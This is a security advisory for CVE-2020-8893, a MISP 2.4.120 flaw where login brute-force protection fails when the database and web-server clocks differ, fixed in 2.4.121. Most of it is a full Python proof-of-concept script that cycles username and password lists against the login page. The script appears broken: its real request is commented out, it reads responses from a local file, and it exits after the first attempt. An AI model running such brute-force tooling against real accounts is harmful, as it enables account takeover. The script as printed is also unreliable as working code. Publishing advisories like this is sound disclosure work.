VULNERABILITY 

Bruteforce protection not working in very specific environments

DATE

25.02.2020

Affected Vendor

CIRCL – Computer Incident Response Center Luxembourg

Affected Product

MISP – Malware Information Sharing Platform & Open Standards For Threat Information Sharing – https://www.misp-project.org/

Vulnerable version

2.4.120

Fixed version

2.4.121

Recommendations

Update to MISP version 2.4.121 

Vulnerability details

Brute force protection is not working when database time is at least one hour ahead of the web server time. It can also happen if a web server and a database are in different timezones. A malicious user could perform a brute force attack against a valid user account of the application. The application did not restrict the number of password attempts, or lock the user account to prevent this type of attack in specific environments.

PoC

To prepare proof of concept MISP instance, set your web server timezone one hour ahead of the database timezone.

Run the following replacing parameters accordingly:

python bruteforce-exploit.py --target http://localhost --user dawid@pz.pl --passwords passwords.txt --insecure --verbose

The following screenshot illustrates successful bruteforce attack: Successful bruteforce attack

bruteforce-exploit.py

#!/usr/bin/python3
"""
    Author: Dawid Czarnecki - https://github.com/dawid-czarnecki
"""

import argparse
import requests

from time import sleep

class Bruteforcer:
    def __init__(self, target, verbose=False, insecure=False, proxy=None):
        self.target = target+'/users/login'
        self.verbose = verbose
        self.insecure = not insecure
        self.usernames = []
        self.passwords = []
        if proxy is not None:
            self.proxy = {'http': proxy, 'https': proxy}

    def add_user(self, username):
        self.usernames.append(username)

    def load_users(self, userlist):
        self.usernames.extend(userlist.read().splitlines())

    def add_password(self, password):
        self.passwords.append(password)

    def load_passwords(self, passwords):
        self.passwords.extend(passwords.read().splitlines())

    def _get_params(self, response):
        key_str = 'data[_Token][key]'
        values_pos = response.find('value="', response.find(key_str)+len(key_str))
        key = response[values_pos+7:response.find('"', values_pos+7)]

        field_str = 'data[_Token][fields]'
        values_pos = response.find('value="', response.find(field_str)+len(field_str))
        fields = response[values_pos+7:response.find('"', values_pos+7)]

        unlocked = ''

        return {'key': key, 'fields': fields, 'unlocked': unlocked}

    def success(self, user, password):
        self.log(user, password, 'success')
        
    def fail(self, user, password):
        self.log(user, password, 'fail')
        
    def blackhole(self, user, password):
        self.log(user, password, 'blackhole')
        
    def protection(self, user, password):
        self.log(user, password, 'protection')
        
    def log(self, user, password, status):
        """Add ASCII colors characters to prettify logging to stdout"""
        bg_red = '\033[1;41m'
        green = '\033[1;32m'
        red = '\033[1;31m'
        end = '\033[1;m'

        if status == 'success':
            print('{}[+] Successful authentication for user: {}, password: {}{}'.format(green, user, password, end))
        elif status == 'blackhole':
            print('{}[!] Blackholed request for user: {}, password: {}{}'.format(bg_red, user, password, end))
        elif status == 'fail' and self.verbose:
            print('{}[-] Failed authentication for user: {}, password: {}{}'.format(red, user, password, end))
        elif status == 'protection' and self.verbose:
            print('{}[-] Bruteforce protection kicks in for user: {}, password: {}. Pausing for 300s.{}'.format(red, user, password, end))

    def start(self):
        result = requests.get(self.target, verify=self.insecure, proxies=self.proxy)
        cookies = result.cookies
        result = self._get_params(result.text)
        stop = False

        for user in self.usernames:
            if stop == True:
                break
            for password in self.passwords:
                data = {'_method': 'POST', 'data[_Token][key]': result['key'], 'data[User][email]': user, 'data[User][password]': password, 'data[_Token][fields]': result['fields'], 'data[_Token][unlocked]': result['unlocked']}
                result = open('resp.txt', 'r').read()
                # result = requests.post(self.target, data=data, verify=self.insecure, proxies=self.proxy, cookies=cookies)
                
                if 'Invalid username or password, try again' in result:
                    self.fail(user, password)
                elif 'The request has been black-holed' in result:
                    self.blackhole(user, password)
                    stop = True
                    break
                elif 'You have reached the maximum number of login attempts' in result:
                    self.protection(user, password)
                    sleep(300)
                else:
                    self.success(user, password)
                    stop = True
                    break

                result = self._get_params(result)
                exit()
                # sleep(1)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Script to brute force login page of MISP')
    parser.add_argument('-t','--target', help='Target MISP instance URL (E.g.: https://misp.url:1234)')
    parser.add_argument('-u','--user', help='Single username to test')
    parser.add_argument('-U','--users', help='Filename of users to bruteforce', type=argparse.FileType('r'))
    parser.add_argument('-c','--password', help='Single password to test')
    parser.add_argument('-C','--passwords', help='Filename of passwords to bruteforce', type=argparse.FileType('r'))
    parser.add_argument('-v','--verbose', default=False, action='store_true', help='Shows failed authentication attempts')
    parser.add_argument('-k','--insecure', default=False, action='store_true', help='Don\'t verify SSL certificate')
    parser.add_argument('-p','--proxy', default=False, help='HTTP proxy URL')
    args = parser.parse_args()

    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    bf = Bruteforcer(args.target, args.verbose, args.insecure, args.proxy)

    if args.user:
        bf.add_user(args.user)
    if args.users is not None:
        bf.load_users(args.users)

    if args.password:
        bf.add_password(args.password)
    if args.passwords is not None:
        bf.load_passwords(args.passwords)

    bf.start()

CVE

CVE-2020-8893

Credits

Dawid Czarnecki

Do you think the security of your data might be lacking? Let's find the best approach together.
Once you contact us, we will ask you about the project you want to secure.

NEED A CONSULTATION?